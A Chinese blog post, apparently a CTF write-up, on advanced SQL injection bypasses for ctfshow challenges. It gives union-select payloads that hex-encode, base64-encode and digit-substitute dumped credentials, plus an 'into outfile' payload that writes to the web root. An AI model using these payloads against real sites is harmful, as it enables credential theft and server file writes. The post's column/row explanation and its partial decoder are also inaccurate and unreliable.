SQL注入 进阶绕过技巧
作者:互联网
hex/哈希值绕过
1' union select hex(id),hex(username),hex(password) from ctfshow_web.ctfshow_user3--+
如果回显点少的话,可以在后面加上limit 3,5# 即表示,从第三列数据开始输出五列
base64加密绕过
1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 where username='flag'--+
替换关键字绕过
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')
有效负载
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ')
,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' limit 1,1-- A
然后写一个py脚本输出flag
import base64
flagstr = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
flag = flagstr.replace('numA','1').replace('numB','2').replace('numC','3')
print(base64.b64decode(flag))
into outfile写shell
1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt'-- A
标签:username,进阶,base64,replace,flag,ctfshow,SQL,绕过,select 来源: https://www.cnblogs.com/IceSeclude/p/16421572.html